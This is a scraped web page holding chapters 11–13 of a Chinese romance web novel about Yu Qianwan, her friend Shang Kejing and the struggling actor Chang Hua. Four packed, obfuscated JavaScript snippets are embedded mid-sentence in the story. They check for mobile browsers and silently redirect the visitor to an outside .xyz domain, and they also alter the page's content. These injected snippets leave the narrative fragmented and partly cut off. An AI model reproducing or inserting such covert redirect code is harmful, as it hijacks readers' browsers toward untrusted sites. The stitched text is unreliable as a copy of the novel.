;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223410|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里头这么想,嘴上却不服输。 虞千绾嘴硬回:[现在投入的时间只是一点点,回报却是大大的,起码我时间很自由!地点也很自由!等你以后去永誉工作你就羡慕我吧] 商恪景:[哇~真是好羡慕呢] 光是看文字都阴阳怪气到不行的程度,虞千绾说不过他,气得猛呼了一下,额前碎发被气流微微带起又轻轻垂落。 “哒——” 很轻的一声开门声,正对着手机在笑的商恪景下意识掀眸寻声看去。 是商知珩,他准备去上班了,上班前来查看一下商恪景的情况。 四目相对,商知珩意外抬了抬眉,抬步走近,“这么早醒了?还是伤口疼得睡不好吗?吃没吃止疼药?” “还行,没那么疼了,我就起来看看手机,过会儿继续睡。” 商知珩看着商恪景面上未散的荡漾,心生了然地往他手机瞥了眼,“虞千绾?” 这两天接连被家里人提到且发现,商恪景耐受度都明显提高不少,此刻听到哥哥提她不仅不红温,还更为荡漾地分享,“对啊,平常我们俩都一起去上学的。她老喜欢摁了闹钟再眯几分钟,我今天不在,没人喊她,她要是睡过了就糟糕了,影响平时分,所以我给她发消息确认一下。” 以商知珩对商恪景的了解程度,他也是个爱睡懒觉爱关掉闹钟再睡一会儿的,显然不可能正正好好在这个点醒来提醒虞千绾,大概率也定了个闹钟。 商知珩鼻腔间漫出声很轻的笑,很符合小孩子玩暧昧的清纯稚嫩劲。 “现在确认好了?能不能睡了?医生让你多注意休息。” “等一等,她还在坐车往学校去,学校很大,外来车不能开进去。教室和校门口又离很远,她不会骑电动车,平常都是我扫共享电动车载她的,她今天自己还不知道要走多久,路上肯定很无聊,我陪她聊几句。” “心还操挺多。” 商知珩话刚落,商恪景手机就弹出声“滴滴”的消息音。 商恪景立即低头看去,视线扫过文字,笑容彻底绽开,他五官飞着将手机屏幕转向商知珩给他看。 商知珩定睛一瞧,手机那头的虞千绾说:[救命啊商恪景,你什么时候才回来上学啊,好希望你伤口一秒痊愈。我一下车就被热气包裹,热死了,还要顶着太阳走好远好远好远……好想死] [下课还得这么走回来,啊啊啊啊,早知道我就学学电动车怎么骑了] [晕倒.gif] 完全没有商量过的前后脚对话,仿佛共脑。 没有过这种体验的商知珩既讶然又觉神奇的笑了声,视线稍错就看到了手机后面的商恪景,他一脸毫不掩饰的得意,眉梢高高扬着,好像无声在说“你看吧,她就是很需要我,我的担心一点都不多余”。 商知珩思忖须臾,很认真也很想不通地开了口:“我有一个问题。” “什么?” “你这么了解她,她也很需要你,你们接触这么频繁,她怎么会喜欢上了别人?” 商恪景的笑容一秒消失,心口宛若被人重重插了一刀,他有些想吐血,瞬间收回了手机,将头转了过去背对着商知珩,不想再讲话的声音极度滞闷,与刚刚的模样判若两人,“哥你快去上班吧。” 尽是些不好听的扎心话…… 他倒是也想知道为什么啊。 11. 第 11 章 虞千绾到达教室的时间并不早,卡在上课前五分钟,换做平常这个点教室里已经挤满了学生,剩下的位置要么很靠前要么很靠后,但今日的教室略显稀疏,还剩不少不错的空位。 估摸是第一节课就喜提早八,很多人都不适应起不来,加之推免名额基本敲定,能保研的那批学生也都心中有数不用再那么莽着劲,极致的努力后是极致的摆烂。仅存的那批认真看书算题的学生基本都是在备战研究生考试的,没几人管将要上的课,就连讲台上的老师似乎都不大重视的样子,笑眯眯跟坐在前排的同学聊着读研还是工作的话题。分明才一个暑假的时间,氛围却和上学期有着明显的分别,大家似乎都有了未来的新道路。 幸而三个室友都已经来了,虞千绾不至于落单,稍稍在心头感慨了番就朝她们身边的空位行去求温暖。 她刚将书本放在桌面上,听到动静的三个室友同步抬起头,看到她又是同步一笑,“千绾你来啦。” 虞千绾双臂大展,直接倾身给了她们一个大熊抱,笑颜如花落座迅速加入,“聊什么八卦呢?看着这么沉浸式。” “你怎么知道我们在聊八卦?” “很明显啊,手机也不玩,觉也不睡,还说得手舞足蹈满面红光。” 三人听着这个形容,纷纷都挺绷不住神情,彻底笑开了花。 挨着虞千绾最近的晁研小声跟她分享,“咱们学校物理系来了个超帅的新老师!听说是刚从德国那边读完博回来的,这些天好多学生拍他的照片发在表白墙上。” 虞千绾表情登时有些微妙,“嗯……可以看出是刚任教不久了。” 她素来认为物理这种难度的科目极少能得学生欢喜,学生对物理老师的态度就像是打工的牛马对待老板,虽然双方都只是在做自己该做的事情,但仿佛天然就站在对立面,颜值在这种时候压根不值一提。少数时候确实感觉还不错,多数时候都是埋怨的吐槽。不排除确有相处很好的,但恐得是万万万里挑一。 虞千绾没将话尽数说出,晁研却秒懂,“哎呀,反正我们又不是物理系的学生,受到的摧残与我们无关,我们只需隔空欣赏帅脸。而且,这个周老师真的帅得很突出!我看评论区好多人都分享了照片,各个角度的!不像之前那些只一个角度帅的照骗!” 为了证明自己说的是真的,晁研拿出手机,将照片怼到虞千绾面前给她看。 虞千绾定睛一看,还真是。 不过这位周老师的气质与刻板印象中的物理老师不太一样,反倒像是位被裹挟着书卷气的江南烟雨冲刷多年的文科老师,很是温儒。但这种儒雅仅限于气质,因为他的五官又有种微微矛盾的冷感,和商知珩给人的感觉莫名有些异曲同工之处。许是因为手上拿着书本,背后是写满大物解题步骤的白板,消解了难接近的几分冷隽,更添些学术气息。 “帅吧?” 另个室友徐盼雁也巴巴探过头来求认同,“我觉得他是上大学以来我见到的唯一一个能和商恪景一争高下的。” 虽然是虞千绾完全不会感兴趣的类型,但她很客观地重重点了点头说:“帅!不过感觉他和商恪景很难去比较诶,他俩完全是两个类型的帅。” 室友点头赞同,“嗯,一个是人群里一眼就能看到的具有冲击性的浓颜长相,一个是淡淡的但又莫名很容易勾起人的探索欲的长相。” 恰好聊到商恪景,晁研这才乍然想起他,视线下意识朝四周梭巡了圈,没寻到目标,手肘轻抵了下虞千绾的胳膊,“诶,商恪景呢?你俩今天没一起吗?” 另外俩室友同步抬起头也朝四周看了眼,习惯了他俩三年如一日的结伴,今日没瞧见商恪景,她俩也觉稀奇。 被爷爷打这种事说出来过于泄露隐私,虞千绾只道说:“他出了个小意外,后背受伤了,伤得还不轻,这几天不方便下床走路,所以得在家养一阵才能来上课。” 室友们都跟商恪景不太熟,也没问太多,只是出于同学间的礼貌关切了几句就带过了话题。 - 大四的重点基本都放在毕业论文上,考虑到有些同学已经在找实习,尽量不耽误大家的时间,虞千绾跟的论文导师很体贴地查看了她们课表,知道她们今天早上有课都会在学校后便让她们下课直接来她办公室聊聊论文。 虞千绾和商恪景跟的论文导师也是同一个,省得他下次再跑一趟,虞千绾跟老师聊完自己的论文后又替商恪景跟老师聊了聊,反正他们同专业的,她对商恪景的论文选题也不陌生,把老师叮嘱的那些重点记下,回去全部转告给商恪景。 这么一折腾,虞千绾再从学校出来已至正午。 校外的餐饮店飘出香喷喷的饭菜香,虞千绾突然就有些饿了,但这点饥饿感不敌正盛的日头难捱,她从老师办公室走到校门口被毒辣的太阳晒出一身汗,第一时间上车拧开瓶冰水喝下半瓶,燥热这才有所消退。 高温引起的心烦意乱在低温的车内待了十来分钟才彻底散去,饿意跟着翻涌而起。 虞千绾鼻尖好似又嗅到了校门口的那股子饭香味,她突然有点馋大白米饭,立即给姐姐发去消息: 先是一个谄媚示好的表情包。 [姐~~你午饭有安排了嘛?咱们聊完工作去吃川菜呗?我知道一家味道很不错的!] 虞昭音大概在忙工作没看手机。 虞千绾习惯自家姐姐的工作狂属性,耐心等待她的回复。等待期间,虞千绾切换手机页面进到川菜馆的预约界面,已经对着菜单选好吃什么了,只待姐姐一句允可她就提交。 谁知这么一等就是半小时,车都快驶到嘉澍集团楼下了,虞千绾才收到虞昭音的消息,简洁明了的两个字——[不行] 虞千绾的心咔嚓一声,碎了个彻底。 [刚开完会,午后还有会,没时间出去吃,下次有时间我请你] 虞昭音的解释随之发来。 知道姐姐工作的辛苦,虞千绾自然没法再说什么,只能先放下出去吃的念头,午饭在虞昭音那简单凑合一顿。 [到哪了?] [快了,大概两三分钟就到嘉澍楼下了] [行,我还有一件事问你。到了就直接上来,别跑去买一圈吃的再来,不然我开会前说不完你还得在这等几个小时。] 虞千绾看着最新的消息,心头陡然警铃大作,她有种不好的预感,切切追问:[什么事?] 虞昭音却没直接告知:[来了当面说。] 虞千绾顿时更加忐忑了。 惦记着这事,虞千绾下车后一点时间没耽误,三步并两步地走,很快到达虞昭音的办公室,推门的瞬间就忍不住张嘴要问:“姐——” 结果刚说出一个字,虞千绾就通过逐渐推开的门发现办公室里除虞昭音外还有三人,她立即噤了声,面上端庄了些。 三人中有一位是虞千绾熟识的,跟随虞昭音多年的汤助理,但另外两人她完全陌生。 虞昭音正在趁着空闲时间吃饭,见虞千绾来她才停止进食,为她们介绍了圈说了几句再继续吃,汤助理接过虞昭音话茬展开详说。 虞千绾心里头跟猫抓似的难捱,万分好奇姐姐在微信里说的那件事究竟是什么,但还有旁人在,她只得摁下,等她们走了再私下跟姐姐聊。 办公室内另外两位都是负责网络推广这方面的,一个是部门总监,一个是安排给虞千绾负责与她日后的对接,算是她的秘书。 今日见面一是先认识一番,二是交涉后续的想法,三是最重要的一点——集团下面的一家购物平台新签了个顶流男艺人,国庆那段时间正式拍摄宣传海报和广告,她们想着虞千绾如果到时候也来拍摄一些花絮,再和艺人互动拍些照片什么的做成vlog发到自己的新账号上能获得不错的流量,届时不仅虞千绾的新账号开了个好头,品牌宣传效果也或能翻一番。 虞千绾自然情愿,因为这位男艺人是真顶流,而非狗仔爆瓜时吹嘘的假顶流。她的视频里若是出现这位,十万赞压根不用担心,但凡剪辑稍微好些,再配个不错的BGM都能达到。这样的话,她又能喜提至少一个月的假期。 一想到这些,虞千绾就干劲十足,就着这个话题当即和两人往下延伸,询问想法的可行度。 起初,虞昭音还担心虞千绾应接不暇,时而会补充说明几句,但没一会儿,虞昭音就发现自己的担心多余了,虞千绾懂的远比她想象得多,很多专业术语她都听不明白,虞千绾却懂,三个人聊得有来有回。 虞昭音欣慰一笑,彻底心安地低头吃饭,不再多操没必要的闲心。术业有专攻,在这个领域,她才是最不懂的那个。 沟通结束时,虞千绾已经在自己的手机备忘录里记了一大堆。汤助理送走她们俩,虞千绾放松身体后靠在沙发上,继续捋着刚刚记下的内容,一想到这个视频发出去可能又会爆,她就闷不住笑,完全沉浸其中,都忘记了虞昭音还有件事要跟她说。 虞昭音瞧着虞千绾对着手机边修改边笑的模样,唇角笑容深了几分,她曲指叩了叩办公桌面,“千绾,差不多了吗?咱们先聊聊,剩下的你回去再慢慢整理,距离国庆还有一段时间,不急。” 她这边没剩多少时间了,再拖延下去就到开跨国会议的点了。 “来了。” 虞千绾意识猛地被这话拔出些,但手上动作没停,依旧在把脑子里想到的视频脚本简要写出来。好记性不如烂笔头,灵感这种事若是不及时记下,很可能扭头就忘了。 虞千绾坐到虞昭音对面的位置上,手指也打下最后一个字,她灭屏放下手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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敢这样明晃晃打着虞千绾的名号写邮件,显然与虞千绾交情不浅,起码管理邮箱的员工看到的那瞬是这么想的,他明知常桦远远达不到代言人标准,但却不敢像往常一样拒绝,而且网上一搜也能搜到虞千绾和常桦关系很近。 邮件就这么一层层上递,谁都不敢敲定,最后传到了虞昭音这儿。 虞千绾看着打印出的常桦方自荐文件,眉头一点点蹙得更深,她摇了摇头,“我不知道这件事,他没跟我说过,而且通篇文字都不是常桦的作风,他是个很要强的人,绝对写不出这些,可能是他公司背着他发来的,我过会儿问问他。姐你这边就按照正常流程拒绝就行。” “已经拒绝过了。但你这么信任他?以前好像没听你提过这号人。” 虞昭音抬了抬眉,“绾绾,我得提醒你一点。就算这件事不是他主导,他和他公司也是利益共同体,你现在去问的话,他们之间肯定已经串通好了,问不出什么的,而且我不认为他完全无辜。当然,我没跟他接触过,并不清楚他的为人,只是从旁观者的角度上给你提供另一条思路,防止你当局者迷——” “咚咚。” 叩门声忽响,打断了虞昭音的话,她望向门应了声“进”。 汤助理推开门进入,“昭音总,视频会议还有五分钟开始。” “行,我知道了。” 虞昭音颔了颔首,随即低头开始收拾开会将要用到的文件,“好了,饭菜都给你留着了,你在这吃吧,姐姐要去开会了。” 起身时,虞昭音看着虞千绾略有些迷茫失措的模样,摸了摸她可怜的小脑袋,“你问他的时候可以试探试探,如果我的担心是多余的最好。担心不多余的话,也好,提前让你认清了一个人。别沮丧了,不开心去买个包吧,我买单。” “姐姐——” 虞千绾猛地搂住虞昭音的腰,撒娇耍赖不给她走,不知道该怎么办地直哼唧,“我怎么开口啊,好难……” “看来他在你心里的重量级真挺高,一个包都解决不了,那这样吧,去买两个,另一个算是奖励你今天工作努力。乖啊听话,姐要去开会了,你不行去找商恪景哼唧去,他保不齐能给你出出办法。” 虞昭音嘴上这么哄着虞千绾,手上动作却极其无情,迅速拉开了虞千绾环在她腰上的手,只想赶着去开会,高跟鞋在地面上踩出清脆的响。虞千绾被姐姐的阔绰砸得哭笑不得,目送姐姐干练的背影离开,她心里是有些不自在的,常桦这事来得突然,她毫无准备,心绪说不出的复杂,但又很难不因为两个包包发笑。 办公室的门开了又关。 虞千绾笑容渐收,独自待了一会儿,她下定决心得尽快找常桦说清楚。 她从来不是个能藏住别扭的性子,如果不说的话她怕是会一直想一直难受。 但把这种事摊在明面上说又很尴尬,不知常桦会作何反应…… 12. 第 12 章 “咚咚咚。” “我不饿,还不想吃。” 商恪景趴在床上玩着手机听着敲门声又响起,无奈朝着门口扬声回应。 他早上和虞千绾结束聊天后完全醒神,怎么都睡不着,索性又玩了会儿手机待到有困意才重新入睡补觉,一直睡到半小时前才醒。 这期间,他爸妈发了不少消息问他睡醒没,该吃饭了,他醒后回了消息说不饿,等会儿再吃,但没什么用,奶奶隔一会儿来一趟地反复询问,生怕他饿着——因为爷爷打他的事,这两天奶奶正在跟爷爷闹别扭,还从那边的家里搬了出来,现正住在商恪景爸妈家,正好也方便照看些商恪景。 老人家总是习惯性的操心,想着,商恪景又补充了句,“我饿了会主动发消息说的,您不用一直惦记着我。” 商恪景话音未落,门就被从外推开,但来人很有分寸地没跟着踏入,只是将门推开缝隙方便对话。 一道未曾想到的声音就这么陡然袭入商恪景耳中,“是我。” 商恪景一耳朵就听出虞千绾的声音,心生讶喜,刚想应声又想起自己依旧没穿上衣,紧急低头拽着被子遮掩。 相较于他的小心谨慎和耳廓不自觉的红温,虞千绾问得很是直接,“商恪景,你干嘛呢,怎么不说话?穿衣服了吗?我能不能进去?” “等一下。” 商恪景耳朵温度更高了,确保浑身都被被子挡住只有胳膊露在外头,他才又出声:“进来吧。” 虞千绾进到卧室看到商恪景那裸露的胳膊就知道他肯定没穿上衣,但他背上有伤,想来也不适合穿,她压根没多在意这方面。提着东西风风火火往桌子上一搁,侧身坐在椅子上,一系列动作行云流水,就跟在自己家般自如。 商恪景刚想问她不是说今天忙没空来看他吗,怎么又来了。结果视线滑过她手上提着的打包袋,瞧见其上印着的熟悉logo,是他们最爱吃的那家川菜馆。 暗爽急转为气笑而出的一声短促微挑的“哈?” “虞千绾你该不是特意过来就为了在我面前吃辣的馋我吧?我承认,你拔智齿的时候我是故意馋了你几下,但很快就没馋你了,我罪不至此啊,求放过。” 一阵拆打包盒的窸窣声中,虞千绾兴致不高地幽幽睐他眼,“不要以小人之心度君子之腹,我只是单纯的想吃而已。本来打算跟我姐聊完工作以后去吃的,结果她太忙没时间,她助理订的餐我不想吃,索性就自己买了份。而且今天邢老师喊我们去办公室讲论文了,你不是没去嘛,我就帮你问了,顺路过来告诉你。” 商恪景爸妈的住处距离京大有足足一个多小时的车程,来回奔波很费时间,嘉澍大厦立于中间,直接从嘉澍过来能省不少时间,而且…… “有件事很烦,不想一个人待着。” 虞千绾单手托腮,另手把着筷子戳了戳香软的米饭,满面愁容根本压不住,就连心心念念的川菜此刻看着都没什么胃口,无声叹了口气。 见她表情不对劲,商恪景敛下不正经的揶揄,声音轻缓许多,但又因为关切微微绷着,“怎么了?” 虞千绾彻底放下筷子,转身正对着他,四目交视须臾,虞千绾完全忍不住心事地掏出手机,蹲到床边把从汤助理那要来的电子版文件打开给商恪景看。 商恪景看到常桦两个字时,心头微压的石头顿时移走,唇角跟着很轻地撇了下,还以为又要听到虞千绾说那些与常桦有关的暗恋心事,不料一目十行的草率视线忽地滑过一段十分诡异的文字,商恪景注意力重新聚回手机屏幕再三查看,确认自己没看错后的眉头瞬间拧起。 逐字逐句看完,商恪景反倒有些怀疑自己的眼睛了,手指搭在她手机屏幕上上下下滑着又挑着重点看了几遍,眉头越蹙越紧,无语到极致后的心里话脱口而出,“他这么不要脸?自己多糊自己心里没数吗?居然还想要嘉澍的代言。” “啊……你别这么说,好难听。” 虞千绾下意识推了下商恪景的胳膊。 “他要是真拿了嘉澍的代言,网友只会骂得更难听,估计宣布他这个代言人的当天,微博热搜就是——常桦是谁?” 商恪景少在和虞千绾谈及常桦的时候如此理直气壮,直呼其大名,还充斥着浓浓的恨铁不成钢意味,懒散趴伏在被单上的身体都因为激动稍稍撑起了些,“虞千绾我警告你啊,平常从手指缝里漏点钱给他得点好处就算了,权当小打小闹了,但你要是连嘉澍的资源都砸进去给他铺路,那你真是恋爱脑上头到无药可救了,这个头如果开了,后面他只会要的越来越多。” “我没有!我不会因为个人感情去干涉集团的决定,公是公私是私,我才不是那种人,而且我跟我姐说过让她按正常流程走了,这封自荐信已经被拒了。” 虞千绾接连否认,商恪景这才又安心些趴回床上,但也没太安心,依旧有些警惕地凝她,“这还差不多,那你在想什么?因为哪个点烦?” “就……” 虞千绾欲言又止,深深叹息后将手机放到一旁,双手手肘杵在床沿,双手托着下巴,整张脸都写满了惆怅,“我想跟学长聊聊这件事,看看他的态度。虽然我觉得这个是他公司发的,不是他的手笔,但又不知道怎么跟他开这个口,感觉怎么说都很尴尬。而且就算这封邮件是他公司替他投的,我跟他聊了以后,以他那个性格估计后续跟我接触会一直放不下。更何况——” 虞千绾唇瓣翕动,声音蓦地低了下去,眼睑微敛,“……他也有可能是知情的。” “我不知道怎么开口,也……有些不敢开口。” 虞千绾感觉自己就好像走到了一个死胡同,她其实打心底里更多是信任常桦的,认为他不知情抑或非他所愿,这事亦不难解决,聊开就好,但常桦是个较为敏感的性格,经常对一些旁人无心的话或举措浮想联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223412|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翩,她若是跟他开口提这个,他定然又会想很多,很可能还会影响到他们日后的相处,惹得虞千绾没法轻易开这个口。 情绪在心里一闷一发酵就容易无限放大,加之虞昭音的那番话,虞千绾对常桦的那份满分信任到底还是出现了裂痕,忍不住地去想万一、万一常桦真知情但装傻,她又该如何判断真伪。 商恪景伏在床上,恰能看到虞千绾低垂着的黯然的面颊。他感觉他也走到了两相对峙的为难局面,一边自私地想要趁机落井下石,狠狠奚落常桦一番,让虞千绾同常桦产生隔阂,一边却又不愿见她感伤。 好在这样的矛盾时刻他在这些年间出现过太多太多次,应对起来算得上是熟能生巧,很快他就抑下了那份不应该存在的阴暗情绪,以熟悉的好友姿态宽慰:“如果他确实不知情,你现在想的这些不都是自寻困扰嘛,你就直接找他,无论结果怎么样,起码有个沟通,总比一个人瞎想要好。” 虞千绾也是这么想的,但一拿起手机点入和常桦的聊天页面就少了点正式发送的勇气,当下有商恪景在一旁鼓励,她猛地吸气,在心里头默念着“一鼓作气再而衰三而竭”,趁着这个劲赶忙就打开微信戳入置顶,把电子版邮件发过去。 因为打字速度过快且重,美甲在手机屏幕上敲出清脆的响。 [学长,这偶然得知了这个] 虞千绾就发了这么句不明态度的消息,旁的话她没多提,想看常桦的回应侧重点在哪。 提着的气还没泄下,页面就弹出对方接收了文件的提醒,虞千绾摁灭手机仰头深呼口气,有些不敢看了,“他看到了!怎么办啊商恪景……好紧张。” “我帮你看?” “行!”虞千绾一秒交出手机,视死如归般狠狠闭了闭眼,但又很怂地补了句:“……如果不太好的话,你委婉点告诉我……” 正说着,手机屏幕忽亮,锁屏页面出现微信的小图标。 商恪景:“消息来了。” 虞千绾一秒趴了下去,提心吊胆不敢直面。 商恪景问了她密码,解锁的过程中,不自控木滞微僵的手指按错了好几次。 终于解锁点入微信,好不容易建设好些的心脏又在看到常桦是微信置顶的那秒碎裂。 常桦回过来的消息…… 商恪景眼睫接连抖簌几下。 也是很正常的交涉,不装傻不逃避,应该是个虞千绾想要的答复,他看着却很不是滋味。 [不好意思千绾,这是我公司发给你家公司的??] [我第一次看到这个内容,现在很懵,公司没有跟我说过,我不清楚具体情况,马上就去找经纪人,问清楚会给你一个答复。] [至于这封邮件,非常抱歉,我知道自己几斤几两,不可能成为品牌代言人的,不会对此有什么奢望。] [虽然并非我本意,但还是给你造成困扰了,对不起] 13. 第 13 章 “詹姐,你这是什么意思。” 常桦冷着脸连门都不敲就径直闯入经纪人詹姝瑗的办公室,话腔沉沉绷着,眼底涌动着一触即发的怒火,大步向前将手机里虞千绾发来的邮件内容正对着她质问。 詹姝瑗正对着电脑在忙工作,常桦完全没个征兆地闯进来让她略有些不满地皱了皱眉。 看着常桦跟着怼上来的手机屏幕里的内容,她知晓了常桦怒火的来源,但并不当回事,更为寡淡的“哦”了声后就移开了视线,继续淡定看着电脑屏幕处理工作,“那边已经拒了。” “你为什么要发这样的邮件,这让别人怎么想?又让虞千绾怎么想我?” “不然呢,你还有别的办法能得到资源吗?” 常桦被反问的一噎,气焰兀地低了些。 不仅因为他答不上来,更因为詹姝瑗并非只是他的经纪人,还是公司的老板,她大多时候是个温和的人,对签下的艺人皆很上心,可一旦表现出不那么温和的一面,无形的气场便会压来,往日营造的平等朋友关系会瞬间被不那么平等的老板和员工身份取代。 艺人需要詹姝瑗给资源,都不敢得罪她,常桦自也是其中一员。 喉结微滚,他再开口的声音轻了许多,也没什么戾气了,“……詹姐,我只是不想这样,而且您也没提前跟我说过,我乍然得知很意外。” “是不想还是见虞千绾没同意感到窘迫?” 詹姝瑗暂停手头的工作,波澜不惊的眸正对向常桦,毫不留情地戳穿他的内心,“常桦,这话我想跟你说很久了,人不能既要又要。你清楚虞千绾给你带来了不少机会,对这样的富婆你就该好好巴结她,你若是真像你刚刚所说不想那样就该一开始拒绝她。如果你依旧这样保持着没必要的清高和自尊,却又沉默接受着她对你的付出,那你有什么资格站在这里质问我?” “常桦,你这样特没意思,拿不起放不下,得到了一些东西又得到的并不多。” 常桦哑然,已经一个字都说不出了。 “徐正谊新剧小出圈的事你知道吧?” 詹姝瑗话题忽转,常桦一怔,更是哑了火,讷讷嗯了声,头彻底没什么底气地垂了下去。 徐正谊是比常桦迟了半年进入公司的艺人,两人因为外貌条件相似,常去面试同样的角色,竞争同一个资源。虽然面上装的关系融洽,其实心里都把对方当做敌人,只不过两人都很糊没什么成绩,所以那种敌对情绪并没太浓。 但就在半月前,徐正谊作为配角出演的一部小网剧居然火了。 谁都没想到那样一部小成本投资的网剧能播出这样好的效果,还被业内和网友们称为“小黑马”,连带着徐正谊这个男三号都跟着出现在大众视野里,瞬间就甩了常桦一大截。 詹姝瑗直截了当道:“后续我这边好的资源都会向徐正谊倾斜,你要是想拿好的资源,自己多跑跑剧组面试争取机会。当然,我这边如果有想接触徐正谊但他不要的资源,我也会推荐你,但不会再像之前那样把你和徐正谊放在同一梯队中。” 常桦闻言,心顿时凉了半截。 他签约经纪公司就是因为自己不擅长人脉交际这块,希望有人从中牵线搭桥。而今詹姝瑗这话一出,对常桦而言无疑是一记重拳,不仅是因为涉及到自己的短处,更因为“徐正谊不要的资源”这几个字。他想说些什么为自己做最后的争取,但詹姝瑗抢先开了口制止他。 “常桦,我自认对你们一视同仁,这些年来待你不薄,但同样的资源砸下去,徐正谊火了,你没有,便不能怪我。后续为了公司的未来发展,我这边肯定要把好的资源都给到他增加曝光度稳住他的热度,所以你也不用再说什么,毕竟我开公司是为了赚钱,不是做慈善,他更有价值,你与其靠嘴皮子跟我说什么,不如用事实证明你的价值超过他,真到那天,无需你多说什么,我也会为你争取更宽敞的道路达到双赢的局面。” “常桦,这些话我本可以不跟你说的,跟你说这些你反倒可能把我当恶人在心里怨怼我,但是常桦,我希望你明白,你已经身处于社会中了,你那些名为清高实际却是自卑的矛盾举动不切实际,与人交际不等于自甘堕落,许多行业都需要应酬合作,我们这个行业也需要。你运气算好的了,有虞千绾这个大小姐的喜欢,还有锦凡娱乐那位抛出的橄榄枝。你如果能适应在娱乐圈继续默默无闻的日子,那你可以继续维持着你那浮于表面的清傲,当我什么都没说过。” - 虞千绾从商恪景口中得知常桦的回复时,心头那些胡乱的情绪瞬间消散,整个人原地满血复活。虽然还没得到常桦询问过经纪人后的回复,但心已然安定了下来,刚刚没什么兴致吃的川菜现在吃得香到不行。 郁色从她的脸上转移到了商恪景脸上。 他对着虞千绾那小幅度摇晃着、开心的很明显的背影无声翕动着嘴唇吐槽:“虞千绾,大笨蛋。” “哎,对了。” 虞千绾也不知想到什么忽地扭头,商恪景秒变脸,瞬间堆上的笑满是殷勤,“什么?” 这么说话费劲,虞千绾索性把椅子搬到了桌子另面对着商恪景坐下,隔空面对面同他继续道:“今天邢老师说你论文的重点我都记下来了,现在发给你,你看看,有什么不懂的你说,当面聊起来方便。” “啊……” 商恪景长长哀叹,“虞千绾你饶了我吧,我都这样了,被你馋还不够,还得学习,双倍痛苦。” “那你后面问我,我如果忘了你别怪我。” 虞千绾在备忘录里的那些内容都是根据老师的话现场简记的,她不确定过个几天她还能不能完全复述出来老师的话,不过—— 她眼珠一转,不坏好心但却分外愉悦地笑说:“商恪景,我突然想到你要是论文没过其实挺好的,这样你就可以留校再读一年,那你肯定就不用去永誉上班了!是不是好有道理?” 商恪景白她一眼,没好气,“哇,真是好棒的建议呢,就是会被我哥再抽一顿,我谢谢你啊。” 虞千绾顺着他的阴阳怪气就扬着灿烂的笑往下接,“不客气~” 清楚她此刻幼稚的好情绪因何而来,商恪景只觉心口闷闷的,一语双关地咕哝了句:“笑个屁。” 然而某人却只能读出其中一种情绪。 也幸好,她只能读出一种。 - 商恪景的伤养了半个月才相对自如些,没那么多需要注意的地方。 为了给商恪景庆祝伤愈,虞千绾决定请他吃顿大餐。 商恪景想吃爆辣火锅,但虞千绾觉得他的伤口还没恢复到这种程度,最好还是得忌辛辣一段时间,起码不能吃那么辣的,于是提说吃些相对清淡些的,商恪景不肯,要吃的全是些辣口的,最终被虞千绾暴扣了一下后脑勺才老老实实选择去吃西餐。 然而在虞千绾看不到的地方,商恪景摸着后脑勺的短发,唇角疯狂上扬,满脑子都是虞千绾因为担心他伤口而拒绝的话和神情。 这一阵,虞千绾大多时候独自一人吃饭,常觉孤寂,今日饭搭子正式回归,她心情大好,点了很多餐,商恪景心情也很好。 两人正交谈甚欢时传来了让人不太愉快的消息——虞昭音让虞千绾过些天代表虞家去参加周家小女儿的成人礼宴会,而她跟周家大女儿周映灵关系极差。 更糟糕的消息是,商家和周家没什么交集,商恪景不可能受到邀请去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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是周映灵本人发来的。 常桦习惯性敲下的回复带着难辨远近的意味,让人既感觉是礼貌又感觉有些别的意思。 经纪人的话还在脑海里久散不去,常桦准备按下发送键的手指却忽转了方向,按下了删除,眼睁睁看着原本的那串文字一个一个消失。 这半个月的时间,常桦过得极不舒坦。 虽然他作为网红的工作和生活没有太大变化,但作为演员的生活却有着翻天覆地的变化,曾经和他表面上虚以委蛇的徐正谊现在压根拿他当个透明人,比常桦设想的那些炫耀还要令他难捱,因为他彻底被徐正谊剔除在竞争者的行列,甚至悬殊太大都没什么显摆的必要。 身边接触的人依旧如往,就是偶然认识些新人,一听到他的公司名字就说“哦!徐正谊的那个公司对不对?你俩原来是一个公司的啊,他最近可是势头正盛啊。” 每每听到,常桦心头都会被冷不丁冲击到,自卑敏感又嫉妒。 经纪人对他的关注度也明显少了许多。 而周映灵无疑是能帮他扶摇直上的人物,她家里就是开娱乐传媒公司的,是国内有名的大公司,旗下不仅有多位知名流量艺人和实力派,还有专门负责影视制作的顶尖团队。 